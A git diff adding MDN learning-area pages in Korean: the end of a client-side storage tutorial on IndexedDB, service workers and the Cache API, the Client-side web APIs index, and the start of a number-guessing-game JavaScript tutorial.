    +let request = window.indexedDB.open('notes_db', 1);
    + +

    This line creates a request to open version 1 of a database called notes_db. If this doesn't already exist, it will be created for you by subsequent code. You will see this request pattern used very often throughout IndexedDB. Database operations take time. You don't want to hang the browser while you wait for the results, so database operations are {{Glossary("asynchronous")}}, meaning that instead of happening immediately, they will happen at some point in the future, and you get notified when they're done.

    + +

    To handle this in IndexedDB, you create a request object (which can be called anything you like — we called it request so it is obvious what it is for). You then use event handlers to run code when the request completes, fails, etc., which you'll see in use below.

    + +
    +

    Note: The version number is important. If you want to upgrade your database (for example, by changing the table structure), you have to run your code again with an increased version number, different schema specified inside the onupgradeneeded handler (see below), etc. We won't cover upgrading databases in this simple tutorial.

    +
    +
  6. +
  7. +

    Now add the following event handlers just below your previous addition — again inside the window.onload handler:

    + +
    // onerror handler signifies that the database didn't open successfully
    +request.onerror = function() {
    +  console.log('Database failed to open');
    +};
    +
    +// onsuccess handler signifies that the database opened successfully
    +request.onsuccess = function() {
    +  console.log('Database opened successfully');
    +
    +  // Store the opened database object in the db variable. This is used a lot below
    +  db = request.result;
    +
    +  // Run the displayData() function to display the notes already in the IDB
    +  displayData();
    +};
    + +

    The {{domxref("IDBRequest.onerror", "request.onerror")}} handler will run if the system comes back saying that the request failed. This allows you to respond to this problem. In our simple example, we just print a message to the JavaScript console.

    + +

    The {{domxref("IDBRequest.onsuccess", "request.onsuccess")}} handler on the other hand will run if the request returns successfully, meaning the database was successfully opened. If this is the case, an object representing the opened database becomes available in the {{domxref("IDBRequest.result", "request.result")}} property, allowing us to manipulate the database. We store this in the db variable we created earlier for later use. We also run a custom function called displayData(), which displays the data in the database inside the {{HTMLElement("ul")}}. We run it now so that the notes already in the database are displayed as soon as the page loads. You'll see this defined later on.

    +
  8. +
  9. +

    Finally for this section, we'll add probably the most important event handler for setting up the database: {{domxref("IDBOpenDBRequest.onupgradeneeded", "request.onupdateneeded")}}. This handler runs if the database has not already been set up, or if the database is opened with a bigger version number than the existing stored database (when performing an upgrade). Add the following code, below your previous handler:

    + +
    // Setup the database tables if this has not already been done
    +request.onupgradeneeded = function(e) {
    +  // Grab a reference to the opened database
    +  let db = e.target.result;
    +
    +  // Create an objectStore to store our notes in (basically like a single table)
    +  // including a auto-incrementing key
    +  let objectStore = db.createObjectStore('notes_os', { keyPath: 'id', autoIncrement:true });
    +
    +  // Define what data items the objectStore will contain
    +  objectStore.createIndex('title', 'title', { unique: false });
    +  objectStore.createIndex('body', 'body', { unique: false });
    +
    +  console.log('Database setup complete');
    +};
    + +

    This is where we define the schema (structure) of our database; that is, the set of columns (or fields) it contains. Here we first grab a reference to the existing database from e.target.result (the event target's result property), which is the request object. This is equivalent to the line db = request.result; inside the onsuccess handler, but we need to do this separately here because the onupgradeneeded handler (if needed) will run before the onsuccess handler, meaning that the db value wouldn't be available if we didn't do this.

    + +

    We then use {{domxref("IDBDatabase.createObjectStore()")}} to create a new object store inside our opened database called notes_os. This is equivalent to a single table in a conventional database system. We've given it the name notes, and also specified an autoIncrement key field called id — in each new record this will automatically be given an incremented value — the developer doesn't need to set this explicitly. Being the key, the id field will be used to uniquely identify records, such as when deleting or displaying a record.

    + +

    We also create two other indexes (fields) using the {{domxref("IDBObjectStore.createIndex()")}} method: title (which will contain a title for each note), and body (which will contain the body text of the note).

    +
  10. +
+ +

So with this simple database schema set up, when we start adding records to the database; each one will be represented as an object along these lines:

+ +
{
+  title: "Buy milk",
+  body: "Need both cows milk and soya.",
+  id: 8
+}
+ +

Adding data to the database

+ +

Now let's look at how we can add records to the database. This will be done using the form on our page.

+ +

Below your previous event handler (but still inside the window.onload handler), add the following line, which sets up an onsubmit handler that runs a function called addData() when the form is submitted (when the submit {{htmlelement("button")}} is pressed leading to a successful form submission):

+ +
// Create an onsubmit handler so that when the form is submitted the addData() function is run
+form.onsubmit = addData;
+ +

Now let's define the addData() function. Add this below your previous line:

+ +
// Define the addData() function
+function addData(e) {
+  // prevent default - we don't want the form to submit in the conventional way
+  e.preventDefault();
+
+  // grab the values entered into the form fields and store them in an object ready for being inserted into the DB
+  let newItem = { title: titleInput.value, body: bodyInput.value };
+
+  // open a read/write db transaction, ready for adding the data
+  let transaction = db.transaction(['notes_os'], 'readwrite');
+
+  // call an object store that's already been added to the database
+  let objectStore = transaction.objectStore('notes_os');
+
+  // Make a request to add our newItem object to the object store
+  var request = objectStore.add(newItem);
+  request.onsuccess = function() {
+    // Clear the form, ready for adding the next entry
+    titleInput.value = '';
+    bodyInput.value = '';
+  };
+
+  // Report on the success of the transaction completing, when everything is done
+  transaction.oncomplete = function() {
+    console.log('Transaction completed: database modification finished.');
+
+    // update the display of data to show the newly added item, by running displayData() again.
+    displayData();
+  };
+
+  transaction.onerror = function() {
+    console.log('Transaction not opened due to error');
+  };
+}
+ +

This is quite complex; breaking it down, we:

+ + + +

Displaying the data

+ +

We've referenced displayData() twice in our code already, so we'd probably better define it. Add this to your code, below the previous function definition:

+ +
// Define the displayData() function
+function displayData() {
+  // Here we empty the contents of the list element each time the display is updated
+  // If you didn't do this, you'd get duplicates listed each time a new note is added
+  while (list.firstChild) {
+    list.removeChild(list.firstChild);
+  }
+
+  // Open our object store and then get a cursor - which iterates through all the
+  // different data items in the store
+  let objectStore = db.transaction('notes_os').objectStore('notes_os');
+  objectStore.openCursor().onsuccess = function(e) {
+    // Get a reference to the cursor
+    let cursor = e.target.result;
+
+    // If there is still another data item to iterate through, keep running this code
+    if(cursor) {
+      // Create a list item, h3, and p to put each data item inside when displaying it
+      // structure the HTML fragment, and append it inside the list
+      let listItem = document.createElement('li');
+      let h3 = document.createElement('h3');
+      let para = document.createElement('p');
+
+      listItem.appendChild(h3);
+      listItem.appendChild(para);
+      list.appendChild(listItem);
+
+      // Put the data from the cursor inside the h3 and para
+      h3.textContent = cursor.value.title;
+      para.textContent = cursor.value.body;
+
+      // Store the ID of the data item inside an attribute on the listItem, so we know
+      // which item it corresponds to. This will be useful later when we want to delete items
+      listItem.setAttribute('data-note-id', cursor.value.id);
+
+      // Create a button and place it inside each listItem
+      let deleteBtn = document.createElement('button');
+      listItem.appendChild(deleteBtn);
+      deleteBtn.textContent = 'Delete';
+
+      // Set an event handler so that when the button is clicked, the deleteItem()
+      // function is run
+      deleteBtn.onclick = deleteItem;
+
+      // Iterate to the next item in the cursor
+      cursor.continue();
+    } else {
+      // Again, if list item is empty, display a 'No notes stored' message
+      if(!list.firstChild) {
+        let listItem = document.createElement('li');
+        listItem.textContent = 'No notes stored.';
+        list.appendChild(listItem);
+      }
+      // if there are no more cursor items to iterate through, say so
+      console.log('Notes all displayed');
+    }
+  };
+}
+ +

Again, let's break this down:

+ + + +

Deleting a note

+ +

As stated above, when a note's delete button is pressed, the note is deleted. This is achieved by the deleteItem() function, which looks like so:

+ +
// Define the deleteItem() function
+function deleteItem(e) {
+  // retrieve the name of the task we want to delete. We need
+  // to convert it to a number before trying it use it with IDB; IDB key
+  // values are type-sensitive.
+  let noteId = Number(e.target.parentNode.getAttribute('data-note-id'));
+
+  // open a database transaction and delete the task, finding it using the id we retrieved above
+  let transaction = db.transaction(['notes_os'], 'readwrite');
+  let objectStore = transaction.objectStore('notes_os');
+  let request = objectStore.delete(noteId);
+
+  // report that the data item has been deleted
+  transaction.oncomplete = function() {
+    // delete the parent of the button
+    // which is the list item, so it is no longer displayed
+    e.target.parentNode.parentNode.removeChild(e.target.parentNode);
+    console.log('Note ' + noteId + ' deleted.');
+
+    // Again, if list item is empty, display a 'No notes stored' message
+    if(!list.firstChild) {
+      let listItem = document.createElement('li');
+      listItem.textContent = 'No notes stored.';
+      list.appendChild(listItem);
+    }
+  };
+}
+ + + +

So that's it! Your example should now work.

+ +

If you are having trouble with it, feel free to check it against our live example (see the source code also).

+ +

Storing complex data via IndexedDB

+ +

As we mentioned above, IndexedDB can be used to store more than just simple text strings. You can store just about anything you want, including complex objects such as video or image blobs. And it isn't much more difficult to achieve than any other type of data.

+ +

To demonstrate how to do it, we've written another example called IndexedDB video store (see it running live here also). When you first run the example, it downloads all the videos from the network, stores them in an IndexedDB database, and then displays the videos in the UI inside {{htmlelement("video")}} elements. The second time you run it, it finds the videos in the database and gets them from there instead before displaying them — this makes subsequent loads much quicker and less bandwidth-hungry.

+ +

Let's walk through the most interesting parts of the example. We won't look at it all — a lot of it is similar to the previous example, and the code is well-commented.

+ +
    +
  1. +

    For this simple example, we've stored the names of the videos to fetch in an array of objects:

    + +
    const videos = [
    +  { 'name' : 'crystal' },
    +  { 'name' : 'elf' },
    +  { 'name' : 'frog' },
    +  { 'name' : 'monster' },
    +  { 'name' : 'pig' },
    +  { 'name' : 'rabbit' }
    +];
    +
  2. +
  3. +

    To start with, once the database is successfully opened we run an init() function. This loops through the different video names, trying to load a record identified by each name from the videos database.

    + +

    If each video is found in the database (easily checked by seeing whether request.result evaluates to true — if the record is not present, it will be undefined), its video files (stored as blobs) and the video name are passed straight to the displayVideo() function to place them in the UI. If not, the video name is passed to the fetchVideoFromNetwork() function to ... you guessed it — fetch the video from the network.

    + +
    function init() {
    +  // Loop through the video names one by one
    +  for(let i = 0; i < videos.length; i++) {
    +    // Open transaction, get object store, and get() each video by name
    +    let objectStore = db.transaction('videos_os').objectStore('videos_os');
    +    let request = objectStore.get(videos[i].name);
    +    request.onsuccess = function() {
    +      // If the result exists in the database (is not undefined)
    +      if(request.result) {
    +        // Grab the videos from IDB and display them using displayVideo()
    +        console.log('taking videos from IDB');
    +        displayVideo(request.result.mp4, request.result.webm, request.result.name);
    +      } else {
    +        // Fetch the videos from the network
    +        fetchVideoFromNetwork(videos[i]);
    +      }
    +    };
    +  }
    +}
    +
  4. +
  5. +

    The following snippet is taken from inside fetchVideoFromNetwork() — here we fetch MP4 and WebM versions of the video using two separate {{domxref("fetch()", "WindowOrWorkerGlobalScope.fetch()")}} requests. We then use the {{domxref("blob()", "Body.blob()")}} method to extract each response's body as a blob, giving us an object representation of the videos that can be stored and displayed later on.

    + +

    We have a problem here though — these two requests are both asynchronous, but we only want to try to display or store the video when both promises have fulfilled. Fortunately there is a built-in method that handles such a problem — {{jsxref("Promise.all()")}}. This takes one argument — references to all the individual promises you want to check for fulfillment placed in an array — and is itself promise-based.

    + +

    When all those promises have fulfilled, the all() promise fulfills with an array containing all the individual fulfillment values. Inside the all() block, you can see that we then call the displayVideo() function like we did before to display the videos in the UI, then we also call the storeVideo() function to store those videos inside the database.

    + +
    let mp4Blob = fetch('videos/' + video.name + '.mp4').then(response =>
    +  response.blob()
    +);
    +let webmBlob = fetch('videos/' + video.name + '.webm').then(response =>
    +  response.blob()
    +);
    +
    +// Only run the next code when both promises have fulfilled
    +Promise.all([mp4Blob, webmBlob]).then(function(values) {
    +  // display the video fetched from the network with displayVideo()
    +  displayVideo(values[0], values[1], video.name);
    +  // store it in the IDB using storeVideo()
    +  storeVideo(values[0], values[1], video.name);
    +});
    +
  6. +
  7. +

    Let's look at storeVideo() first. This is very similar to the pattern you saw in the previous example for adding data to the database — we open a readwrite transaction and get a reference to our videos_os object store, create an object representing the record to add to the database, then simply add it using {{domxref("IDBObjectStore.add()")}}.

    + +
    function storeVideo(mp4Blob, webmBlob, name) {
    +  // Open transaction, get object store; make it a readwrite so we can write to the IDB
    +  let objectStore = db.transaction(['videos_os'], 'readwrite').objectStore('videos_os');
    +  // Create a record to add to the IDB
    +  let record = {
    +    mp4 : mp4Blob,
    +    webm : webmBlob,
    +    name : name
    +  }
    +
    +  // Add the record to the IDB using add()
    +  let request = objectStore.add(record);
    +
    +  ...
    +
    +};
    +
  8. +
  9. +

    Last but not least, we have displayVideo(), which creates the DOM elements needed to insert the video in the UI and then appends them to the page. The most interesting parts of this are those shown below — to actually display our video blobs in a <video> element, we need to create object URLs (internal URLs that point to the video blobs stored in memory) using the {{domxref("URL.createObjectURL()")}} method. Once that is done, we can set the object URLs to be the values of our {{htmlelement("source")}} element's src attributes, and it works fine.

    + +
    function displayVideo(mp4Blob, webmBlob, title) {
    +  // Create object URLs out of the blobs
    +  let mp4URL = URL.createObjectURL(mp4Blob);
    +  let webmURL = URL.createObjectURL(webmBlob);
    +
    +  ...
    +
    +  let video = document.createElement('video');
    +  video.controls = true;
    +  let source1 = document.createElement('source');
    +  source1.src = mp4URL;
    +  source1.type = 'video/mp4';
    +  let source2 = document.createElement('source');
    +  source2.src = webmURL;
    +  source2.type = 'video/webm';
    +
    +  ...
    +}
    +
  10. +
+ +

Offline asset storage

+ +

The above example already shows how to create an app that will store large assets in an IndexedDB database, avoiding the need to download them more than once. This is already a great improvement to the user experience, but there is still one thing missing — the main HTML, CSS, and JavaScript files still need to downloaded each time the site is accessed, meaning that it won't work when there is no network connection.

+ +

+ +

This is where Service workers and the closely-related Cache API come in.

+ +

A service worker is a JavaScript file that, simply put, is registered against a particular origin (web site, or part of a web site at a certain domain) when it is accessed by a browser. When registered, it can control pages available at that origin. It does this by sitting between a loaded page and the network and intercepting network requests aimed at that origin.

+ +

When it intercepts a request, it can do anything you wish to it (see use case ideas), but the classic example is saving the network responses offline and then providing those in response to a request instead of the responses from the network. In effect, it allows you to make a web site work completely offline.

+ +

The Cache API is a another client-side storage mechanism, with a bit of a difference — it is designed to save HTTP responses, and so works very well with service workers.

+ +
+

Note: Service workers and Cache are supported in most modern browsers now. At the time of writing, Safari was still busy implementing it, but it should be there soon.

+
+ +

A service worker example

+ +

Let's look at an example, to give you a bit of an idea of what this might look like. We have created another version of the video store example we saw in the previous section — this functions identically, except that it also saves the HTML, CSS, and JavaScript in the Cache API via a service worker, allowing the example to run offline!

+ +

See IndexedDB video store with service worker running live, and also see the source code.

+ +

Registering the service worker

+ +

The first thing to note is that there's an extra bit of code placed in the main JavaScript file (see index.js). First we do a feature detection test to see if the serviceWorker member is available in the {{domxref("Navigator")}} object. If this returns true, then we know that at least the basics of service workers are supported. Inside here we use the {{domxref("ServiceWorkerContainer.register()")}} method to register a service worker contained in the sw.js file against the origin it resides at, so it can control pages in the same directory as it, or subdirectories. When its promise fulfills, the service worker is deemed registered.

+ +
  // Register service worker to control making site work offline
+
+  if('serviceWorker' in navigator) {
+    navigator.serviceWorker
+             .register('/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js')
+             .then(function() { console.log('Service Worker Registered'); });
+  }
+ +
+

Note: The given path to the sw.js file is relative to the site origin, not the JavaScript file that contains the code. The service worker is at https://mdn.github.io/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js. The origin is https://mdn.github.io, and therefore the given path has to be /learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js. If you wanted to host this example on your own server, you'd have to change this accordingly. This is rather confusing, but it has to work this way for security reasons.

+
+ +

Installing the service worker

+ +

The next time any page under the service worker's control is accessed (e.g. when the example is reloaded), the service worker is installed against that page, meaning that it will start controlling it. When this occurs, an install event is fired against the service worker; you can write code inside the service worker itself that will respond to the installation.

+ +

Let's look at an example, in the sw.js file (the service worker). You'll see that the install listener is registered against self. This self keyword is a way to refer to the global scope of the service worker from inside the service worker file.

+ +

Inside the install handler we use the {{domxref("ExtendableEvent.waitUntil()")}} method, available on the event object, to signal that the browser shouldn't complete installation of the service worker until after the promise inside it has fulfilled successfully.

+ +

Here is where we see the Cache API in action. We use the {{domxref("CacheStorage.open()")}} method to open a new cache object in which responses can be stored (similar to an IndexedDB object store). This promise fulfills with a {{domxref("Cache")}} object representing the video-store cache. We then use the {{domxref("Cache.addAll()")}} method to fetch a series of assets and add their responses to the cache.

+ +
self.addEventListener('install', function(e) {
+ e.waitUntil(
+   caches.open('video-store').then(function(cache) {
+     return cache.addAll([
+       '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/',
+       '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.html',
+       '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.js',
+       '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/style.css'
+     ]);
+   })
+ );
+});
+ +

That's it for now, installation done.

+ +

Responding to further requests

+ +

With the service worker registered and installed against our HTML page, and the relevant assets all added to our cache, we are nearly ready to go. There is only one more thing to do, write some code to respond to further network requests.

+ +

This is what the second bit of code in sw.js does. We add another listener to the service worker global scope, which runs the handler function when the fetch event is raised. This happens whenever the browser makes a request for an asset in the directory the service worker is registered against.

+ +

Inside the handler we first log the URL of the requested asset. We then provide a custom response to the request, using the {{domxref("FetchEvent.respondWith()")}} method.

+ +

Inside this block we use {{domxref("CacheStorage.match()")}} to check whether a matching request (i.e. matches the URL) can be found in any cache. This promise fulfills with the matching response if a match is not found, or undefined if it isn't.

+ +

If a match is found, we simply return it as the custom response. If not, we fetch() the response from the network and return that instead.

+ +
self.addEventListener('fetch', function(e) {
+  console.log(e.request.url);
+  e.respondWith(
+    caches.match(e.request).then(function(response) {
+      return response || fetch(e.request);
+    })
+  );
+});
+ +

And that is it for our simple service worker. There is a whole load more you can do with them — for a lot more detail, see the service worker cookbook. And thanks to Paul Kinlan for his article Adding a Service Worker and Offline into your Web App, which inspired this simple example.

+ +

Testing the example offline

+ +

To test our service worker example, you'll need to load it a couple of times to make sure it is installed. Once this is done, you can:

+ + + +

If you refresh your example page again, you should still see it load just fine. Everything is stored offline — the page assets in a cache, and the videos in an IndexedDB database.

+ +

Summary

+ +

That's it for now. We hope you've found our rundown of client-side storage technologies useful.

+ +

See also

+ + + +

{{PreviousMenu("Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}

+ +

In this module

+ + diff --git a/files/ko/learn/javascript/client-side_web_apis/index.html b/files/ko/learn/javascript/client-side_web_apis/index.html new file mode 100644 index 0000000000..a02e2bc0c4 --- /dev/null +++ b/files/ko/learn/javascript/client-side_web_apis/index.html @@ -0,0 +1,37 @@ +--- +title: Client-side web APIs +slug: Learn/JavaScript/Client-side_web_APIs +translation_of: Learn/JavaScript/Client-side_web_APIs +--- +
{{LearnSidebar}}
+ +

웹 사이트 또는 응용 프로그램 용 client-side JavaScript를 작성할때 API (응용 프로그램 프로그래밍 인터페이스)를 사용하지 않으면 많은것을 만들기 어렵습니다. API는 사이트가 실행되고 있는 브라우저와 운영 체제의 다양한 부분 그리고 웹 사이트 혹은 서비스의 데이터를 다룰 수 있는 인터페이스입니다. 이번장에서 우리는 API가 무엇인지, 그리고 개발할 때 자주 접하게 될 보편적인 API를 사용하는 방법에 대해 살펴볼 것입니다.

+ +

선행사항

+ +

다음의 문서를 미리 보고 오시는것을 권장합니다. (First steps, Building blocks, and JavaScript objects). 이 모듈은 클라이언트 측 JavaScript 예제를 사용하지 않고 유용하게 사용할 수 있기 때문에 간단한 API 사용법을 상당히 많이 사용합니다. 여기에서는 핵심 자바 스크립트 언어에 대한 지식이 있다고 가정하고 일반적인 웹 API를 좀 더 자세하게 살펴보면서 한 단계 올라갑니다. 이번장에서는 심플한 API사용방법을 여럿 보도록 하겠습니다. 이 API들은 client-side 자바스크립트를 만드는데 도움이 많이 될 것입니다.

+ +

HTMCSS에 관한 기본지식이 있으면 좋습니다!

+ +
+

Note: 코드를 작성 할 수 없는 디바이스에서 작업하는 경우 JSBin 또는 Thimble.과 같은 온라인 코딩 프로그램에서 코드 예제를 시험해 볼 수 있습니다.

+
+ +

Guides

+ +
+
Introduction to web APIs
+
우선, 높은 수준의 API를 먼저 살펴볼 것입니다. API는 무엇이며, 어떻게 작동하며, 코드에서 어떻게 사용하고 구조화되어 있는지 확인합니다. 또한 API의 다른 주요 클래스가 무엇인지, 그리고 용도가 무엇인지 살펴볼 것입니다.
+
Manipulating documents
+
웹 페이지와 앱을 작성할 때 많이 하는 것중 하나는 웹 문서를 다루는 것입니다. 보통 {{domxref ( "Document")}} 객체를 많이 사용하는 HTML 및 스타일 정보를 제어하기위한 API 집합 인 DOM (Document Object Model)을 사용합니다. 여기서는 흥미로운 방식으로 환경을 변경할 수 있는 API와 함께 DOM을 사용하는 방법에 대해 자세히 설명합니다.
+
Fetching data from the server
+
최신 웹 사이트 및 응용 프로그램에서 필요한 작업중 하나는 완전히 새로운 페이지를 로드 할 필요없이 서버에서 개별 데이터를 가져와 웹 페이지의 일부분만 업데이트하는 것입니다. 이렇게 하면 사이트의 성능과 동작에 큰 영향을 줍니다. 여기서는 이 개념을 설명하고 {{domxref ( "XMLHttpRequest")}}나 Fetch API와 같은 기술을 살펴 보겠습니다
+
Third party APIs
+
지금까지 살펴본 API는 브라우저에 내장되어 있지만 모든 API가 지원되지는 않습니다. 예를들면 Google Maps, Twitter, Facebook, PayPal 등과 같은 많은 대형 웹 사이트와 서비스가 있고 여기에는 개발자 자신의 데이터 (예 : 블로그에 트위터 스트림 표시) 또는 서비스 (예 : 사이트에 맞춤 Google지도 표시, Facebook 로그인을 사용하여 사용자 로그인)가 있습니다.여기서는 브라우저 API와 타사 API의 차이점을 살펴본 후 일반적인 API 사용법을 보겠습니다.
+
Drawing graphics
+
브라우저에는 SVG (Scalable Vector Graphics) 언어부터 HTML {{htmlelement ( "canvas")}} 요소 (The Canvas API 및 WebGL 참조)를 그리는 데 필요한 API에 이르기까지 매우 강력한 그래픽 프로그래밍 도구가 포함되어 있습니다. 여기서는 Canvas API에 대한 소개와 더 많은 정보를 얻을 수있는 추가 자료를 제공합니다.
+
Video and audio APIs
+
HTML5에는 문서 ({{htmlelement ( "video")}} 및 {{htmlelement ( "audio")}}에 미디어를 포함하기위한 요소가 포함되어 있으며 재생, 탐색 등을 제어하는 자체 API가 제공됩니다. 이문서에서는 사용자 커스텀 재생 컨트롤 만들기와 같은 일반적인 작업을 수행하는 방법을 보여줍니다.
+
Client-side storage
+
최신 웹 브라우저에는 웹 사이트와 관련된 데이터를 저장하고 필요할 때 검색하여 장기간 데이터를 유지하고 오프라인으로 사이트를 저장하는 등 다양한 기술을 사용할 수 있습니다. 이 기사에서는 이러한 작업 방식에 대한 기본적인 내용을 설명합니다.
+
diff --git a/files/ko/learn/javascript/first_steps/a_first_splash/index.html b/files/ko/learn/javascript/first_steps/a_first_splash/index.html new file mode 100644 index 0000000000..fd29057f86 --- /dev/null +++ b/files/ko/learn/javascript/first_steps/a_first_splash/index.html @@ -0,0 +1,680 @@ +--- +title: 자바스크립트 기초 +slug: Learn/JavaScript/First_steps/A_first_splash +translation_of: Learn/JavaScript/First_steps/A_first_splash +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/First_steps/What_is_JavaScript", "Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps")}}
+ +

이제 우리는 자바스크립트에 대한 이론적인 몇몇 부분을 살펴볼 것이다. 이곳에서 무엇을 할 수 있는지 실용적인 연습을 통한 자바스크립의 기본적 사항들을 다루는 과정이 되겠다. 하나하나씩 "숫자맞추기" 게임을 간단하게 구성해나갈 것이다.

+ + + + + + + + + + + + +
알아야할 것들:기본적인 컴퓨터 사용과 HTML CSS와 자바스크립트에 대해 알아야 함.
수업 목표:자바스크립트로 코딩하는 것을 처음으로 알아보고 자바스크립트로 쓰여진 프로그램이 가지고 있는 특징들을 조금이라도 이해한다.
+ +

지금현재로서는 코드를 자세히 이해하려고 하지는 않을 것이다. 단지 지금은 넓게 개념을 이해하고, (다른 프로그래밍 언어를 포함해) 자바스크립트가 어떻게 운용되는지에 대한 아이디어가 필요하다. 자, 이제부터 자세한 부분에 대해 공부하고 알아보자!

+ +
+

Note: 자바스크립트에서 보는 다양한 요소들은 여타 프로그래밍 언어와 거의 똑같다.(함수나 반복문 등)  언어마다 문법이 다를 뿐이지 개념은 넓은범위에서 보자면 일맥상통하다.

+
+ +

프로그래머처럼 사고하기

+ +

프로그래밍에서 가장 어려운 것은 우리가 배우려고 하는 문법이 아닌, 어떻게 실생활의 문제를 프로그래밍으로 적용시킬까하는 문제이다. 이제부터는 프로그래머처럼 생각하는 것이 필요하다. 이는 일반적으로 프로그램이 필요한 부분과 어떻게 코드가 문제를 해결하기위해 작동되고, 협업해야 되는지에 대한 설명을 알고있어야 된다는 것이다.

+ +

이는 프로그래밍 문법에 대한 경험과 노력, 그리고 창의성을 비롯한 노력의 조합이 필요하다. 코드를 많이 작성할수록 얻는 것은 더 많아질 것이다. 지금 당장 "프로그래머의 사고능력"으로 발전시킨다고는 보장하지는 못하지만, 이 수업을 통해 여러분들에게 프로그래머처럼 생각하는 많은 연습의 기회는 줄 수 있다.

+ +

이러한 개념을 마음속에 품고, 앞으로 우리가 만들어나갈 예제를 한번 살펴보자. 여기서 실생활의 문제를 프로그래밍할 수 있도록 쪼개는 일반적인 과정을 볼 것이다.

+ +

예제-숫자맞추기

+ +

아래 보이는 간단한 게임을 통해, 프로그램을 구성하는 방법을 알아볼 것이다.

+ + + +

{{ EmbedLiveSample('Top_hidden_code', '100%', 320) }}

+ +

한 번 실행해서 어떻게 이루어져 있는지 살펴보고 알아보자.

+ +

만약 너의 상사가 예제에 관련되어 다음의 짦은 안내만 주어졌다고 생각해보자.

+ +
+

나는 간단하게 숫자 맞추기 게임을 만들고 싶다.1과 100사의 수 중에서 무작위로 선택되어야하고, 플레이어는 10번의 기회안에 그 숫자를 맞춰야 한다. 각 순서마다 숫자를 맞춰는지 틀렸는지는 당연히 알려줘야 하고, 틀렸다면 큰지 작은지도 포함해서 말해야 한다.또한 이전에 써냈던 번호들도 보여줘야 한다. 게임은 플레이어가 숫자를 맞추던가, 기회를 모두 소진하면 끝나게 된다. 게임이 끝나면 플레이어가 다시 게임을 할 것인지 묻게된다.

+
+ +

위의 안내문을 보고, 우선 문제를 가능한 한 작게 쪼개서 간단한 작업으로 만드는 것부터 시작하자.

+ +
    +
  1. 1과 100사이의 숫자 중 무작위로 추출한다.
  2. +
  3. 1부터 플레이어의 차례를 기록한다.
  4. +
  5. 플레이어에게 숫자를 맞출 수 있게 한다.
  6. +
  7. 숫자를 맞추면 어딘가에 저장하고, 사용자는 이전의 추측한 숫자를 볼 수 있도록 한다.
  8. +
  9. 그다음, 숫자가 일치한지 확인한다.
  10. +
  11. 만약 일치한다면: +
      +
    1. 축하 메시지를 표시한다.
    2. +
    3. 더 이상 숫자를 맞출필요가 없다.
    4. +
    5. 플레이어가 다시 게임을 할지 묻는다.
    6. +
    +
  12. +
  13. 숫자가 틀렸고, 차례가 남아있다면: +
      +
    1. 틀렸다고 알린다.
    2. +
    3. 다른 숫자를 입력할 수 있도록 한다.
    4. +
    5. 차례가 1 증가한다.
    6. +
    +
  14. +
  15. 숫자가 틀렸고, 차례가 없다면: +
      +
    1. 게임이 종료되었음을 알린다.
    2. +
    3. 더 이상 숫자를 맞출필요가 없다..
    4. +
    5. 플레이어가 다시 게임을 할지 묻는다.
    6. +
    +
  16. +
  17. 게임이 재시작 되면, 게임의 구조와 UI는 완전히 리셋되며, step1 부터 다시 로직이 시작된다.
  18. +
+ +

이제 다음 단계로 넘어가서 각 단계들을 코드로 어떻게 만들고, 예제 소스와 통합하며, 그와 관련된 자바 스크립트 기능은 무엇인지 살펴보도록 하겠다.

+ +

초기 구성

+ +

수업에 앞서, 로컬에 number-guessing-game-start.html 파일을 저장하길 바란다. (see it live here). 그러고 파일을 에디터와 브라우저에서 동시에 열어보자.  간단하게 요약된 설명과 추측하는 폼을 볼 때, 아직 숫자를 입력하는 폼은 아무런 기능을 하지 않는다

+ +

여러분들의 코드를 추가하는 부분은 HTML안의 {{htmlelement("script")}} 요소 사이에 있다. 

+ +
<script>
+
+  // Your JavaScript goes here
+
+</script>
+
+ +

데이터 저장을 위한 변수 추가

+ +

이제 시작해보자! 먼저 {{htmlelement("script")}} 태그안에 다음의 코드들을 추가하자.

+ +
var randomNumber = Math.floor(Math.random() * 100) + 1;
+
+var guesses = document.querySelector('.guesses');
+var lastResult = document.querySelector('.lastResult');
+var lowOrHi = document.querySelector('.lowOrHi');
+
+var guessSubmit = document.querySelector('.guessSubmit');
+var guessField = document.querySelector('.guessField');
+
+var guessCount = 1;
+var resetButton;
+ +

이 코드의 부분은 프로그램에서 사용될 데이터를 저장할 변수를 세팅해준다. 변수들은 기본적으로 값들을  저장하고 있다. (숫자나 문자열 등). 변수들은 var이라는 키워드를 변수의 이름앞에 붙여줌으로써 선언이된다.  변수 에 넣고자 하는 값 앞에 등호(=)를 통해 변수에 값을 지정할 수 있다.

+ +

예제에서

+ + + +
+

주의: 앞으로 변수에 대해서는 더 많이 배울 것이다. next article를 참고해보자.

+
+ +

함수

+ +

다음으로, 아래의 자바스크립트 코드를 추가하자.

+ +
function checkGuess() {
+  alert('I am a placeholder');
+}
+ +

함수는 재사용이 가능한 코드의 묶음으로 한 번만 명시하면 몇번이고 실행이 가능하여 전체적인 코드에서 반복을 줄일 수 있다 . 이는 매우 유용하다. 함수를 정의하는 방법에는 여러가지가 있지만, 일단 여기서는 가장 간단한 방법을 집중적으로 살펴볼 것이다. 앞에 function키워드를 사용하고, 함수의 이름을 작성하며, 함수의 이름 뒤에 괄호를 넣어줌으로서 함수를 정의할 수 있다.그러고 나서 중괄호로 묶어준다. 중괄호 안에는 함수가 호출되면 실행되는 반복적인 코드들이 들어있다.

+ +

코드는 괄호 앞에 위치한 함수의 이름을 적음으로 실행된다.

+ +

코드를 저장하고 브라우저에서 새로고침을 통해 실행해보자.

+ +

developer tools JavaScript console에 들어가서 다음의 문장을 입력해보자

+ +
checkGuess();
+ +

"I am a placeholder"라고 알리는 alert를 볼 수 있을 것이다. 여기서는 함수가 호출되면 alert가 생성되는 함수로 정의되어 있다.

+ +
+

Note:더 많은 함수에 대한 내용은 차후의 학습에서 볼 수 있을 것이다.

+
+ +

연산자

+ +

자바스크립트의 연산자는 테스트를 진행하고, 수학적인 것을 다루고, 문자열을 결합하는 등의 것들을 가능케한다.

+ +

